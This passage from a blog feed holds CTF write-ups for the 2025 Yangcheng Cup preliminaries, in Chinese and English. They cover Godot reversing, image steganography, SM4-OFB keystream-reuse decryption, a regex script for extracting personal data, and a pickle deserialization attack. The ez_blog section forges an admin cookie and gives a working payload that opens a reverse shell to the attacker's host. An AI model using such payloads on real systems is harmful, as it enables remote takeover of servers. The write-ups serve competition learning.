mac_pattern = r&apos;(?P&amp;lt;mac&amp;gt;(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})&apos;

# 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。
ip_pattern = r&apos;(?P&amp;lt;ip&amp;gt;(?&amp;lt;!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))&apos;

# 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。
sep = r&apos;[\s\-\u00A0\u3000\u2013\u2014]&apos;
id_pattern = rf&apos;(?P&amp;lt;id&amp;gt;(?&amp;lt;!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))&apos;

# 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。
bankcard_pattern = r&apos;(?P&amp;lt;bankcard&amp;gt;(?&amp;lt;!\d)\d{16,19}(?!\d))&apos;

# 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。
phone_prefix = r&apos;(?:\(\+86\)|\+86\s*)&apos;
phone_body = r&apos;(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})&apos;
phone_pattern = rf&apos;(?P&amp;lt;phone&amp;gt;(?&amp;lt;!\d)(?:{phone_prefix})?{phone_body}(?!\d))&apos;

# 将所有模式编译成一个大的正则表达式
combined_re = re.compile(
    f&apos;{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}&apos;,
    flags=re.UNICODE | re.IGNORECASE
)

# ------------------- 主逻辑 -------------------

def extract_from_text(text: str):
    &quot;&quot;&quot;
    使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。
    &quot;&quot;&quot;
    results = []
    
    for match in combined_re.finditer(text):
        kind = match.lastgroup
        value = match.group(kind)
        
        if kind == &apos;mac&apos;:
            if is_valid_mac(value):
                if DEBUG: print(f&quot;【接受 mac】: {value}&quot;)
                results.append((&apos;mac&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 mac】: {value}&quot;)
        
        elif kind == &apos;ip&apos;:
            if is_valid_ip(value):
                if DEBUG: print(f&quot;【接受 ip】: {value}&quot;)
                results.append((&apos;ip&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 ip】: {value}&quot;)

        elif kind == &apos;id&apos;:
            is_valid, reason = is_valid_id(value)
            if is_valid:
                if DEBUG: print(f&quot;【接受 idcard】: {value}&quot;)
                results.append((&apos;idcard&apos;, value))
            else:
                # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验
                digits_only = re.sub(r&apos;\D&apos;, &apos;&apos;, value)
                if is_valid_bankcard(digits_only):
                    if DEBUG: print(f&quot;【接受 id-&amp;gt;bankcard】: {value}&quot;)
                    # 规范要求保留原始格式
                    results.append((&apos;bankcard&apos;, value))
                elif DEBUG: print(f&quot;【拒绝 id】: {value} (原因: {reason})&quot;)

        elif kind == &apos;bankcard&apos;:
            if is_valid_bankcard(value):
                if DEBUG: print(f&quot;【接受 bankcard】: {value}&quot;)
                results.append((&apos;bankcard&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 bankcard】: {value}&quot;)
        
        elif kind == &apos;phone&apos;:
            if is_valid_phone(value):
                if DEBUG: print(f&quot;【接受 phone】: {value}&quot;)
                results.append((&apos;phone&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 phone】: {value}&quot;)
                
    return results

def main():
    &quot;&quot;&quot;主函数：读取文件，执行提取，写入CSV。&quot;&quot;&quot;
    try:
        with open(INPUT_FILE, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:
            text = f.read()
    except FileNotFoundError:
        print(f&quot;错误: 输入文件 &apos;{INPUT_FILE}&apos; 未找到。请确保该文件存在于脚本运行目录下。&quot;)
        # 创建一个空的data.txt以确保脚本可以运行
        with open(INPUT_FILE, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            f.write(&quot;&quot;)
        print(f&quot;已自动创建空的 &apos;{INPUT_FILE}&apos;。请向其中填充需要分析的数据。&quot;)
        text = &quot;&quot;

    extracted_data = extract_from_text(text)

    with open(OUTPUT_FILE, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow([&quot;category&quot;, &quot;value&quot;])
        writer.writerows(extracted_data)
    
    print(f&quot;分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 &apos;{OUTPUT_FILE}&apos;。&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，得到&lt;code&gt;export.csv&lt;/code&gt;，上传，正确率&amp;gt;=98%即可得到Flag：&lt;code&gt;DASCTF{34164200333121342836358909307523}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;ez_blog&lt;/h1&gt;
&lt;p&gt;打开网页，发现要登录，根据提示，尝试使用用户名&lt;code&gt;guest&lt;/code&gt;密码&lt;code&gt;guest&lt;/code&gt;成功登录访客，发现Cookies记录了一个&lt;code&gt;Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e&lt;/code&gt;。通过AI分析，可知这是pickle经过序列化然后转换成hex得到的，解码可发现：&lt;code&gt;KappUser)}(idusernameguesis_admin       logged_inub.&lt;/code&gt;，尝试通过修改里面的内容，将&lt;code&gt;username&lt;/code&gt;改成&lt;code&gt;admin&lt;/code&gt;，&lt;code&gt;is_admin&lt;/code&gt;改成&lt;code&gt;True&lt;/code&gt;，得到：&lt;code&gt;8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e&lt;/code&gt;，通过BurpSuite修改请求时的Cookies，成功拿到admin用户的权限（可以创建文章）：
&lt;img src=&quot;./images/2025/10/1668532768.png&quot; alt=&quot;ez_blog-1.png&quot; /&gt;
也就是说，服务端会将Token反序列化，可以以此利用反序列化漏洞。因为没有回显，只能反弹shell。编写Payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import time
import binascii
import os

class Exploit:
    def __reduce__(self):
        return (os.system, (&apos;&apos;&apos;python3 -c &quot;import os
import socket
import subprocess
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((&apos;&amp;lt;Your IP&amp;gt;&apos;, 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call([&apos;/bin/sh&apos;, &apos;-i&apos;])&quot;&apos;&apos;&apos;,))

payload = pickle.dumps(Exploit())
hex_token = binascii.hexlify(payload).decode()
print(hex_token)
print(payload)

obj = pickle.loads(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行得到Payload：&lt;code&gt;80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e&lt;/code&gt;，服务器上运行&lt;code&gt;nc -lvvp 2333&lt;/code&gt;，将Payload作为Token发送请求后成功拿到Shell。Flag存放在&lt;code&gt;/thisisthefffflllaaaggg.txt&lt;/code&gt;中：
&lt;img src=&quot;./images/2025/10/3266918796.png&quot; alt=&quot;ez_blog-2.png&quot; /&gt;
得到Flag：&lt;code&gt;DASCTF{15485426979172729258466667411440}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>2025 Yangcheng Cup CTF Preliminary WriteUp</title><link>https://blog.iyoroy.cn/posts/en-207/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-207/</guid><description>Writeups for five challenges from the 2025 Yangcheng Cup preliminaries, including Godot reversing, SM4-OFB keystream reuse, data extraction, and Pickle deserialization.</description><pubDate>Sun, 12 Oct 2025 02:50:00 GMT</pubDate><content:encoded>&lt;h1&gt;GD1&lt;/h1&gt;
&lt;p&gt;The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Node

@export var mob_scene: PackedScene
var score
var a = &quot;000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101&quot;

func _ready():

    pass



func _process(delta: float) -&amp;gt; void :
    pass


func game_over():
    $ScoreTimer.stop()
    $MobTimer.stop()
    $HUD.show_game_over()

func new_game():
    score = 0
    $Player.start($StartPosition.position)
    $StartTimer.start()
    $HUD.update_score(score)
    $HUD.show_message(&quot;Get Ready&quot;)
    get_tree().call_group(&quot;mobs&quot;, &quot;queue_free&quot;)

func _on_mob_timer_timeout():

    var mob = mob_scene.instantiate()


    var mob_spawn_location = $MobPath / MobSpawnLocation
    mob_spawn_location.progress_ratio = randf()


    var direction = mob_spawn_location.rotation + PI / 2


    mob.position = mob_spawn_location.position


    direction += randf_range( - PI / 4, PI / 4)
    mob.rotation = direction


    var velocity = Vector2(randf_range(150.0, 250.0), 0.0)
    mob.linear_velocity = velocity.rotated(direction)


    add_child(mob)


func _on_score_timer_timeout():
    score += 1
    $HUD.update_score(score)
    if score == 7906:
        var result = &quot;&quot;
        for i in range(0, a.length(), 12):
            var bin_chunk = a.substr(i, 12)
            var hundreds = bin_chunk.substr(0, 4).bin_to_int()
            var tens = bin_chunk.substr(4, 4).bin_to_int()
            var units = bin_chunk.substr(8, 4).bin_to_int()
            var ascii_value = hundreds * 100 + tens * 10 + units
            result += String.chr(ascii_value)
        $HUD.show_message(result)

func _on_start_timer_timeout():
    $MobTimer.start()
    $ScoreTimer.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;bitset&amp;gt;

using namespace std;

int bin_to_int(const string &amp;amp;bin) {
    return stoi(bin, nullptr, 2);
}

string decodeBinaryString(const string &amp;amp;a) {
    string result;
    for (size_t i = 0; i + 12 &amp;lt;= a.length(); i += 12) {
        string bin_chunk = a.substr(i, 12);
        int hundreds = bin_to_int(bin_chunk.substr(0, 4));
        int tens     = bin_to_int(bin_chunk.substr(4, 4));
        int units    = bin_to_int(bin_chunk.substr(8, 4));
        int ascii_value = hundreds * 100 + tens * 10 + units;
        result.push_back(static_cast&amp;lt;char&amp;gt;(ascii_value));
    }
    return result;
}

int main() {
    string a = &quot;000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101&quot;;
    cout &amp;lt;&amp;lt; decodeBinaryString(a) &amp;lt;&amp;lt; endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution yields the Flag: &lt;code&gt;DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;成功男人背后的女人 (The Woman Behind the Successful Man)&lt;/h1&gt;
&lt;p&gt;Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks&apos; proprietary protocol. Opening the image with appropriate tools revealed the hidden content:&lt;br /&gt;
&lt;img src=&quot;./images/2025/10/877303021.png&quot; alt=&quot;成功男人背后的女人-1.png&quot; /&gt;
The symbols at the bottom were combined in binary form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decoding in 8-bit groups:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
using namespace std;
int main(){
    string str=&quot;010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101&quot;;
    for(int i=0;i&amp;lt;str.length();i+=8){
        cout&amp;lt;&amp;lt;(char)stoi(str.substr(i,8).c_str(),nullptr,2);
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution yields: &lt;code&gt;DASCTF{w0mEN_beh1nD_MEn}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;SM4-OFB&lt;/h1&gt;
&lt;p&gt;We had AI analyze the encryption process and write a decryption script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下）
# 代码会：
# 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始）
# 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码）
#
# 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点）
# 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

# record1 已知明文与密文（用户提供）
record1 = {
    &quot;name_plain&quot;: &quot;蒋宏玲&quot;.encode(&apos;utf-8&apos;),
    &quot;name_cipher_hex&quot;: &quot;cef18c919f99f9ea19905245fae9574e&quot;,
    &quot;phone_plain&quot;: &quot;17145949399&quot;.encode(&apos;utf-8&apos;),
    &quot;phone_cipher_hex&quot;: &quot;17543640042f2a5d98ae6c47f8eb554c&quot;,
    &quot;id_plain&quot;: &quot;220000197309078766&quot;.encode(&apos;utf-8&apos;),
    &quot;id_cipher_hex&quot;: &quot;1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c&quot;,
    &quot;iv_hex&quot;: &quot;6162636465666768696a6b6c6d6e6f70&quot;
}

# record2 仅密文（用户提供）
record2 = {
    &quot;name_cipher_hex&quot;: &quot;c0ffb69293b0146ea19d5f48f7e45a43&quot;,
    &quot;phone_cipher_hex&quot;: &quot;175533440427265293a16447f8eb554c&quot;,
    &quot;id_cipher_hex&quot;: &quot;1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c&quot;,
    &quot;iv_hex&quot;: &quot;6162636465666768696a6b6c6d6e6f70&quot;
}

BS = 16  # 分组长度

# 工具：把字段按 16 字节块切分
def split_blocks(b):
    return [b[i:i+BS] for i in range(0, len(b), BS)]

# 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR）
ks_blocks = {&quot;name&quot;: [], &quot;phone&quot;: [], &quot;id&quot;: []}

# name
C_name = unhexlify(record1[&quot;name_cipher_hex&quot;])
P_name_padded = pad(record1[&quot;name_plain&quot;], BS)
for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)):
    ks_blocks[&quot;name&quot;].append(xor_bytes(c, p))

# phone
C_phone = unhexlify(record1[&quot;phone_cipher_hex&quot;])
P_phone_padded = pad(record1[&quot;phone_plain&quot;], BS)
for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)):
    ks_blocks[&quot;phone&quot;].append(xor_bytes(c, p))

# id (可能为两块)
C_id = unhexlify(record1[&quot;id_cipher_hex&quot;])
P_id_padded = pad(record1[&quot;id_plain&quot;], BS)
for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)):
    ks_blocks[&quot;id&quot;].append(xor_bytes(c, p))

print(&quot;Derived keystream blocks (hex):&quot;)
for field, blks in ks_blocks.items():
    print(field, [b.hex() for b in blks])

# 2) 使用上述 keystream 去解 record2 相应字段
def recover_field(cipher_hex, ks_list):
    C = unhexlify(cipher_hex)
    blocks = split_blocks(C)
    recovered_padded = b&apos;&apos;.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list))
    # 尝试去除填充并解码
    try:
        recovered = unpad(recovered_padded, BS).decode(&apos;utf-8&apos;)
    except Exception as e:
        recovered = None
    return recovered, recovered_padded

name_rec, name_padded = recover_field(record2[&quot;name_cipher_hex&quot;], ks_blocks[&quot;name&quot;])
phone_rec, phone_padded = recover_field(record2[&quot;phone_cipher_hex&quot;], ks_blocks[&quot;phone&quot;])
id_rec, id_padded = recover_field(record2[&quot;id_cipher_hex&quot;], ks_blocks[&quot;id&quot;])

print(&quot;\nRecovered (if OFB with same IV/key and per-field restart):&quot;)
print(&quot;Name padded bytes (hex):&quot;, name_padded.hex())
print(&quot;Name plaintext:&quot;, name_rec)
print(&quot;Phone padded bytes (hex):&quot;, phone_padded.hex())
print(&quot;Phone plaintext:&quot;, phone_rec)
print(&quot;ID padded bytes (hex):&quot;, id_padded.hex())
print(&quot;ID plaintext:&quot;, id_rec)

# 如果解码失败，打印原始 bytes 以便人工分析
# if name_rec is None:
#     print(&quot;\nName padded bytes (raw):&quot;, name_padded)
# if phone_rec is None:
#     print(&quot;Phone padded bytes (raw):&quot;, phone_padded)
# if id_rec is None:
#     print(&quot;ID padded bytes (raw):&quot;, id_padded)

# 结束
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and
one known plaintext/ciphertext pair is available (from record1).

This script:
 - Reads an input file (one hex-encoded cipher per line).
 - Uses the known record1 name plaintext &amp;amp; ciphertext to derive the OFB keystream
   blocks for the name-field (keystream = C XOR P_padded).
 - XORs each input cipher with the derived keystream blocks to recover plaintext,
   removes PKCS#7 padding if present, and prints a line containing:
       &amp;lt;recovered_name&amp;gt;\t&amp;lt;cipher_hex&amp;gt;

Usage:
    python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt

Notes:
 - This assumes each name was encrypted as a separate field starting OFB from
   the same IV (so keystream blocks align for the name-field) and PKCS#7 padding
   was used before encryption. If names exceed the number of derived keystream
   blocks the script will attempt to reuse the keystream cyclically (warns about it),
   but ideally you should supply a longer known plaintext/ciphertext pair to
   derive more keystream blocks.
 - Requires pycryptodome for padding utilities:
       pip install pycryptodome

Edit the KNOWN_* constants below if your known record1 values differ.
&quot;&quot;&quot;

import sys
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

# -----------------------
# ----- KNOWN VALUES ----
# -----------------------
# These are taken from the CTF prompt / earlier messages. Change them if needed.
KNOWN_NAME_PLAIN = &quot;蒋宏玲&quot;  # record1 known plaintext for name field
KNOWN_NAME_CIPHER_HEX = &quot;cef18c919f99f9ea19905245fae9574e&quot;  # record1 name ciphertext hex
IV_HEX = &quot;6162636465666768696a6b6c6d6e6f70&quot;  # the IV column (fixed)

# Block size for SM4 (16 bytes)
BS = 16

# -----------------------
# ----- Helpers ---------
# -----------------------

def xor_bytes(a: bytes, b: bytes) -&amp;gt; bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def split_blocks(b: bytes, bs: int = BS):
    return [b[i:i+bs] for i in range(0, len(b), bs)]


# -----------------------
# ----- Derive keystream from the known pair
# -----------------------

def derive_keystream_from_known(known_plain: str, known_cipher_hex: str):
    p = known_plain.encode(&apos;utf-8&apos;)
    c = unhexlify(known_cipher_hex)
    p_padded = pad(p, BS)
    p_blocks = split_blocks(p_padded)
    c_blocks = split_blocks(c)
    if len(p_blocks) != len(c_blocks):
        raise ValueError(&apos;Known plaintext/cipher block count mismatch&apos;)
    ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)]
    return ks_blocks


# -----------------------
# ----- Recovery --------
# -----------------------

def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks):
    c = unhexlify(cipher_hex.strip())
    c_blocks = split_blocks(c)
    # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically
    if len(c_blocks) &amp;gt; len(ks_blocks):
        print(&quot;[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically&quot; % (len(c_blocks), len(ks_blocks)), file=sys.stderr)
    recovered_blocks = []
    for i, cb in enumerate(c_blocks):
        ks = ks_blocks[i % len(ks_blocks)]
        recovered_blocks.append(xor_bytes(cb, ks))
    recovered_padded = b&apos;&apos;.join(recovered_blocks)
    # Try to unpad and decode; if fails, return hex of raw bytes
    try:
        recovered = unpad(recovered_padded, BS).decode(&apos;utf-8&apos;)
    except Exception:
        try:
            recovered = recovered_padded.decode(&apos;utf-8&apos;)
        except Exception:
            recovered = &apos;&amp;lt;raw:&apos; + recovered_padded.hex() + &apos;&amp;gt;&apos;
    return recovered


# -----------------------
# ----- Main -----------
# -----------------------

def main():
    if len(sys.argv) != 2:
        print(&apos;Usage: python3 sm4_ofb_batch_decrypt_names.py &amp;lt;names_cipher_file&amp;gt;&apos;, file=sys.stderr)
        sys.exit(2)
    inpath = sys.argv[1]

    ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX)

    with open(inpath, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
        for lineno, line in enumerate(f, 1):
            line = line.strip()
            if not line:
                continue
            # Assume each line is one hex-encoded name ciphertext (no spaces)
            try:
                recovered = recover_name_from_cipher_hex(line, ks_blocks)
            except Exception as e:
                recovered = &apos;&amp;lt;error: %s&amp;gt;&apos; % str(e)
            print(f&quot;{recovered}\t{line}&quot;)


if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Searching revealed that the ciphertext corresponding to &lt;code&gt;何浩璐&lt;/code&gt; was &lt;code&gt;c2de929284bff9f63b905245fae9574e&lt;/code&gt;. Searching for the ID number ciphertext corresponding to this in Excel yielded: &lt;code&gt;1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c&lt;/code&gt;. Decrypting this with the above script gave: &lt;code&gt;120000197404101676&lt;/code&gt;. Calculating its MD5: &lt;code&gt;fbb80148b75e98b18d65be446f505fcc&lt;/code&gt; gives the Flag.&lt;/p&gt;
&lt;h1&gt;dataIdSort&lt;/h1&gt;
&lt;p&gt;We provided the requirements to AI and had it write a script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# coding: utf-8
&quot;&quot;&quot;
功能：
- 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。
- 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。
- 所有匹配项均保留原始格式，并输出到 output.csv 文件中。
&quot;&quot;&quot;

import re
import csv
from datetime import datetime

# ------------------- 配置 -------------------
INPUT_FILE = &quot;data.txt&quot;
OUTPUT_FILE = &quot;output.csv&quot;
DEBUG = False  # 设置为 True 以在控制台打印详细的接受/拒绝日志

# 手机号前缀白名单
ALLOWED_MOBILE_PREFIXES = {
    &quot;134&quot;, &quot;135&quot;, &quot;136&quot;, &quot;137&quot;, &quot;138&quot;, &quot;139&quot;, &quot;147&quot;, &quot;148&quot;, &quot;150&quot;, &quot;151&quot;, &quot;152&quot;, &quot;157&quot;, &quot;158&quot;, &quot;159&quot;,
    &quot;172&quot;, &quot;178&quot;, &quot;182&quot;, &quot;183&quot;, &quot;184&quot;, &quot;187&quot;, &quot;188&quot;, &quot;195&quot;, &quot;198&quot;, &quot;130&quot;, &quot;131&quot;, &quot;132&quot;, &quot;140&quot;, &quot;145&quot;,
    &quot;146&quot;, &quot;155&quot;, &quot;156&quot;, &quot;166&quot;, &quot;167&quot;, &quot;171&quot;, &quot;175&quot;, &quot;176&quot;, &quot;185&quot;, &quot;186&quot;, &quot;196&quot;, &quot;133&quot;, &quot;149&quot;, &quot;153&quot;,
    &quot;173&quot;, &quot;174&quot;, &quot;177&quot;, &quot;180&quot;, &quot;181&quot;, &quot;189&quot;, &quot;190&quot;, &quot;191&quot;, &quot;193&quot;, &quot;199&quot;
}
# ---------------------------------------------


# ------------------- 校验函数 -------------------

def luhn_check(digits: str) -&amp;gt; bool:
    &quot;&quot;&quot;对数字字符串执行Luhn算法校验。&quot;&quot;&quot;
    s = 0
    alt = False
    for char in reversed(digits):
        d = int(char)
        if alt:
            d *= 2
            if d &amp;gt; 9:
                d -= 9
        s += d
        alt = not alt
    return s % 10 == 0

def is_valid_id(raw: str):
    &quot;&quot;&quot;校验身份证号的有效性（长度、格式、出生日期、校验码）。&quot;&quot;&quot;
    sep_pattern = r&apos;[\s\-\u00A0\u3000\u2013\u2014]&apos;
    s = re.sub(sep_pattern, &apos;&apos;, raw)
    
    if len(s) != 18 or not re.match(r&apos;^\d{17}[0-9Xx]$&apos;, s):
        return False, &quot;无效的格式或长度&quot;
    
    try:
        birth_date = datetime.strptime(s[6:14], &quot;%Y%m%d&quot;)
        if not (1900 &amp;lt;= birth_date.year &amp;lt;= datetime.now().year):
            return False, f&quot;无效的出生年份: {birth_date.year}&quot;
    except ValueError:
        return False, &quot;无效的出生日期&quot;

    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_map = [&apos;1&apos;, &apos;0&apos;, &apos;X&apos;, &apos;9&apos;, &apos;8&apos;, &apos;7&apos;, &apos;6&apos;, &apos;5&apos;, &apos;4&apos;, &apos;3&apos;, &apos;2&apos;]
    
    total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights))
    expected_check = check_map[total % 11]
    
    if s[17].upper() != expected_check:
        return False, f&quot;校验码不匹配: 期望值 {expected_check}&quot;
        
    return True, &quot;&quot;

def is_valid_phone(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验手机号的有效性（长度和号段）。&quot;&quot;&quot;
    digits = re.sub(r&apos;\D&apos;, &apos;&apos;, raw)
    if digits.startswith(&quot;86&quot;) and len(digits) &amp;gt; 11:
        digits = digits[2:]
    
    return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES

def is_valid_bankcard(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。&quot;&quot;&quot;
    if not (16 &amp;lt;= len(raw) &amp;lt;= 19 and raw.isdigit()):
        return False
    return luhn_check(raw)

def is_valid_ip(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。&quot;&quot;&quot;
    parts = raw.split(&apos;.&apos;)
    if len(parts) != 4:
        return False
    # 检查是否存在无效部分，如 &apos;01&apos;
    if any(len(p) &amp;gt; 1 and p.startswith(&apos;0&apos;) for p in parts):
        return False
    return all(p.isdigit() and 0 &amp;lt;= int(p) &amp;lt;= 255 for p in parts)

def is_valid_mac(raw: str) -&amp;gt; bool:
    &quot;&quot;&quot;校验MAC地址的有效性。&quot;&quot;&quot;
    # 正则表达式已经非常严格，这里仅做最终确认
    return re.fullmatch(r&apos;([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}&apos;, raw, re.IGNORECASE) is not None

# ------------------- 正则表达式定义 -------------------

# 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。
# 1. MAC地址：格式明确，使用冒号分隔。
mac_pattern = r&apos;(?P&amp;lt;mac&amp;gt;(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})&apos;

# 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。
ip_pattern = r&apos;(?P&amp;lt;ip&amp;gt;(?&amp;lt;!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))&apos;

# 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。
sep = r&apos;[\s\-\u00A0\u3000\u2013\u2014]&apos;
id_pattern = rf&apos;(?P&amp;lt;id&amp;gt;(?&amp;lt;!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))&apos;

# 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。
bankcard_pattern = r&apos;(?P&amp;lt;bankcard&amp;gt;(?&amp;lt;!\d)\d{16,19}(?!\d))&apos;

# 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。
phone_prefix = r&apos;(?:\(\+86\)|\+86\s*)&apos;
